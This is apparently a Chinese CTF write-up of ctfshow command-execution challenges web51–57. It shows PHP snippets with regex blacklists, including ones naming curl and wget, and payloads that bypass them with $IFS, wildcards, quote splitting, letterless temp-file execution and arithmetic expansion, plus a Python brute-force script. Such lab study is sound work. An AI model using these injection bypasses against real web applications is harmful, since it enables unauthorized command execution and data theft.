ctfshow命令执行51-57
ctfshow中web入门命令执行篇的一些刷题笔记
web51
题目:
1 2 3 4 5 6 7 8
   | if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){         system($c." >/dev/null 2>&1");     } }else{     highlight_file(__FILE__); }
  | 
 
解答:
相较50过滤了更多东西,尤其是tac 。。。泪目
payload:nl<fl\ag.php||
上一题的payload依旧能过
web52
题目:
1 2 3 4 5 6 7 8 9 10
   | <?php
  if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){         system($c." >/dev/null 2>&1");     } }else{     highlight_file(__FILE__); }
   | 
 
解答:
整上一题的payload,发现<被过滤了,且$放出来了。于是把<换成$IFS,出了假flag。构筑payload查一下根目录先:ls$IFS/||
发现根目录下有个flag,于是nl查看,出答案
web53
题目:
1 2 3 4
   | if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){         echo($c);         $d = system($c);         echo "<br>".$d;
  | 
 
解答:
。。。?不用||命令分隔了,直接上payload:
1 2
   | payload1:c''at${IFS}fla''g.p''hp payload2:c=nl$IFS\fla\g.php
  | 
 
web54
1、题目:
1 2 3 4 5 6 7 8 9 10
   | <?php
  if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){         system($c);     } }else{     highlight_file(__FILE__); }
   | 
 
解答:
1 2
   | payload1:?c=/bin/c??${IFS}???????? payload2:?c=grep${IFS}%27{%27${IFS}fl???php
  | 
 
web55
题目:
1 2 3 4 5 6 7 8 9 10
   | <? php
  if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){         system($c);     } }else{     highlight_file(__FILE__); }
   | 
 
解答:
ban了字母,走一波、c=/???/????64 ????????,得到base64解码拿到flag。
羽师傅解法:payload:?c=/???/???/????2 ????.??? ---》 然后在url + /flag.php.bz2
知识点:无字母数字命令执行
由于base64不是每台机器都装的,因此还有更猛一点的解法。参考P神博客:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
还有firebasky:
https://blog.csdn.net/qq_46091464/article/details/108513145
web56
演示一遍无字母数字的getshell
先贴上Y4大佬的一把梭脚本:
1 2 3 4 5 6 7
   | import requests while True:     url = "http://da59fd11-9b26-4f20-b6f4-f86163f58cdd.challenge.ctf.show:8080/?c=.+/???/????????[@-[]"     r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})     if r.text.find("flag") >0:         print(r.text)         break
   | 
 
然后是标准的做法:
先自己搞一个文件上传的接口(html):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | <!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>POST数据包POC</title> </head> <body> <form action="题目链接" method="post" enctype="multipart/form-data">
      <label for="file">文件名:</label>     <input type="file" name="file" id="file"><br>     <input type="submit" name="submit" value="提交"> </form> </body> </html>
   | 
 
然后抓包传文件:

读flag:

web57
题目:
1 2 3 4 5 6 7 8 9 10 11
   | <?php
 
  if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){         system("cat ".$c.".php");     } }else{     highlight_file(__FILE__); } 
   | 
 
解答:
看不懂看不懂看不懂,全过滤了还怎么打
题目思路:全过滤了,拼接处36这个数字
引用Y4博客:
1 2 3 4 5 6
   | $(())------是-1 $((~37))------是36 所以我们只需要保证中间是-37即可, $((~$(())$(())))---是1 所以 $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可获取flag
   |